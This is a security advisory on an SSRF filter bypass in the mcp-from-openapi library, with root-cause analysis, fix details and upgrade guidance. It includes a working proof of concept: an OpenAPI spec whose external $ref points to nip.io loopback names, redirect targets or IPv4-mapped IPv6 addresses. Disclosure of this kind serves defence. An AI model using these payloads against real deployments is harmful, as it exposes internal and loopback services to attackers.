CVE-2026-59973: mcp-from-openapi OpenAPI $ref SSRF Filter Bypass
The SSRF hostname denylist added in mcp-from-openapi 2.3.0 can be bypassed using DNS names that resolve to loopback, HTTP redirects, or IPv4-mapped IPv6 addresses, letting an attacker reach internal…

The problem
mcp-from-openapi 2.3.0 patched CVE-2026-39885 by checking the parsed hostname string of an external $ref URL against a denylist of local and private addresses. The guard does not resolve DNS before deciding, does not revalidate redirect targets, and does not normalize IPv4-mapped IPv6 forms.
Any attacker who can cause a FrontMCP deployment to load an untrusted OpenAPI spec can embed a crafted external $ref to trigger backend-origin requests to loopback or private services during tool generation. This affects hosted or multi-user deployments where OpenAPI adapter configuration is not strictly admin-only.
Proof of concept
A working proof-of-concept for CVE-2026-59973 in mcp-from-openapi, with the exact payload below.
// Craft an OpenAPI spec with an external $ref using one of these bypass URLs:
// 1. DNS name resolving to 127.0.0.1 (nip.io wildcard DNS)
const spec_dns = {
openapi: "3.0.0",
info: { title: "Bypass", version: "1.0" },
paths: {
"/probe": {
get: {
operationId: "probe",
summary: "probe",
responses: {
"200": {
description: "OK",
content: {
"application/json": {
schema: { "$ref": "http://127.0.0.1.nip.io:PORT/schema.json" }
}
}
}
}
}
}
}
};
// 2. Redirect from allowed DNS host to 127.0.0.1
// $ref: "http://127.0.0.1.nip.io:PORT/redirect"
// (redirect endpoint returns 302 -> http://127.0.0.1:PORT/schema.json)
// 3. IPv4-mapped IPv6 loopback (dotted form)
// $ref: "http://[::ffff:127.0.0.1]:PORT/schema.json"
// 4. IPv4-mapped IPv6 loopback (hex form)
// $ref: "http://[::ffff:7f00:1]:PORT/schema.json"
// Load into mcp-from-openapi 2.3.0 -- all four hit the loopback canary:
const { OpenAPIToolGenerator } = require("mcp-from-openapi");
const gen = new OpenAPIToolGenerator(spec_dns, { validate: false });
await gen.initialize(); // backend makes GET to 127.0.0.1:PORT/schema.jsonThe root cause is a TOCTOU-style weakness in the hostname guard: it checks the URL hostname string as typed, but Node's HTTP client resolves it later via DNS. A name like 127.0.0.1.nip.io is not a blocked literal, so it passes the guard and resolves to 127.0.0.1 at connect time.
The same gap applies to redirects: the first host passes the guard, the HTTP response issues a 302 to http://127.0.0.1/..., and the client follows without re-checking. IPv4-mapped IPv6 forms (::ffff:127.0.0.1, ::ffff:7f00:1) are structurally equivalent to loopback but were never normalized before the range check.
The fix in 2.5.0 resolves hostnames to IPs before making the allow/deny decision, pins the validated IP to the actual socket connection via a custom dispatcher, normalizes IPv4-mapped IPv6 to its IPv4 form before range checks, and revalidates every redirect target before following it.
CWE-918.
The fix
Upgrade mcp-from-openapi to 2.5.0 or later. If you use FrontMCP, upgrade frontmcp and @frontmcp/adapters to 1.2.1+ with the updated dependency. As a short-term workaround, set refResolution.allowedProtocols: [] in your OpenAPI adapter options to disable all external $ref resolution, or restrict allowedHosts to an explicit allowlist.
Do not rely on hostname string denylist checks alone for SSRF prevention.
Reported by TharVid.
Related research
- highCVE-2026-88056CVE-2026-88056: @angular/platform-server SSRF via Unicode Whitespace Trim Bypass
- highCVE-2026-86082CVE-2026-86082: n8n OpenAI Chat Model Node SSRF via Unguarded Model-Search Endpoint
- high · 8.2CVE-2026-65842CVE-2026-65842: @platejs/docx-io Server-Side Request Forgery via Remote Image Fetch
- high · 7.5CVE-2026-61704CVE-2026-61704: link-preview-js DNS Rebinding SSRF Bypass